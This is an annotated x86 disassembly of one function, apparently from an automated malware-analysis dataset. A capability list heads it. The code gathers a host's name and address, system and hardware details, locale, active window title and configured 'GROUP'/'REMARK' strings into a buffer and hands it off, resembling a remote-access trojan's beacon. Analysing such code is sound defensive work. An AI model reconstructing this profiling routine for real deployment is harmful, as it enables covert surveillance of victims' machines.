Function at 0x10005440
Capabilities:
Get common file path
Get geographical location
Get graphical window text
Get hostname
Get system information on windows
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x122c
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x13c], ecx
call fcn.10013162
add esp, 4
push 0x122c
mov edi, eax
push 0
push edi
call fcn.10015af0
add esp, 0xc
push 0x32
lea edx, [ebp - 0x38]
push 0
push edx
mov byte [edi], 6
call fcn.10015af0
add esp, 0xc
push 0x32
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor eax, eax
push eax
push eax
push 0xffffffffffffffff
lea edx, [ebp - 0x38]
push edx
push eax
push eax
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [edi + 0x200], eax
call esi
push eax
lea ebx, [edi + 0x272]
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x38]
push eax
push 0
push 0
call esi
lea ecx, [edi + 0x2d6]
lea eax, [edi + 0x33a]
push ecx
push eax
call fcn.10007010
xor eax, eax
add esp, 8
lea edx, [ebp - 0x174]
push edx
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x160]
push ecx
lea eax, [edi + 0x376]
push 0x100302e4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [edi + 0x3ee]
push edx
call fcn.100067d0
lea eax, [edi + 0x57e]
add esp, 4
lea ecx, [edi + 0xf62]
push eax
call fcn.10006a60
add esp, 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x100055a5
push 0xfa
lea ecx, [edi + 0x6aa]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x134], str.AppEvents
jne 0x100055bf
mov dword [ebp - 0x134], str.Network
lea esi, [edi + 0x8a8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x134]
push esi
mov edx, str.GROUP
call fcn.100068f0
add esp, 4
cmp eax, 1
jge 0x100055f5
push 0x1003b25c
push 0x32
push esi
call fcn.100132f2
add esp, 0xc
push 0x1003b2c0
lea edx, [edi + 0x90c]
push 0x32
push edx
call fcn.100132f2
add esp, 0xc
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x134], str.AppEvents
jne 0x10005625
mov dword [ebp - 0x134], str.Network
lea esi, [edi + 0x970]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x134]
push esi
mov edx, str.REMARK
call fcn.100068f0
add esp, 4
cmp eax, 1
jge 0x1000565b
push 0x1003b324
push 0x32
push esi
call fcn.100132f2
add esp, 0xc
call fcn.10006f90
test eax, eax
mov eax, 0x1003032c
jne 0x1000566e
mov eax, 0x10030334
push eax
lea eax, [edi + 0xa38]
push str.X86__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, edi
call fcn.100065f0
lea esi, [edi + 0xab0]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.10007df0
add esp, 4
call fcn.10006210
test eax, eax
je 0x100056b9
push 0x1003034c
push 4
lea ecx, [edi + 0xcb8]
push ecx
jmp 0x100056c7
push 0x10030350
push 4
lea edx, [edi + 0xcb8]
push edx
call fcn.100132f2
mov eax, dword [ebp + 0xc]
lea ecx, [edi + 0xcc0]
add esp, 0xc
push ecx
mov dword [edi + 0x1228], eax
call fcn.10006010
add esp, 4
push 0x31
push ecx
call fcn.10005cd0
add esp, 4
push eax
lea edx, [edi + 0xebe]
push 0x32
push edx
call fcn.100136b4
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea eax, [ebp - 0x150]
push eax
call fcn.10013e73
mov eax, 0x10624dd3
mul esi
mov eax, dword [ebp - 0x150]
shr edx, 6
xor ecx, ecx
add esp, 4
sub eax, edx
mov edx, dword [ebp - 0x14c]
mov dword [ebp - 0x148], eax
lea eax, [ebp - 0x148]
sbb edx, ecx
push eax
mov dword [ebp - 0x144], edx
call fcn.10013e4c
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add esp, 4
push ecx
mov ecx, dword [eax + 8]
push edx
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x10]
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x13c]
inc ecx
push ecx
add edx, 0x76c
push edx
push eax
lea ecx, [edi + 0x9d4]
push 0x10030354
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
push 0x40
lea edx, [edi + 0xf22]
push edx
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x32
lea eax, [edi + 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x130]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
lea ecx, [edi + 2]
lea eax, [edi + 0xa4c]
je 0x100057d4
lea edx, [ebp - 0x12c]
push edx
jmp 0x100057d6
push 0
push eax
push 0x10030388
push ecx
lea eax, [edi + 0x33a]
push eax
lea edx, [edi + 0x11c4]
push edx
lea edx, [edi + 0x376]
mov ecx, ebx
call fcn.10005830
mov ecx, dword [ebp - 0x138]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
add esp, 0x18
push 0x122c
push edi
call edx
push edi
mov esi, eax
call fcn.10012a23
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret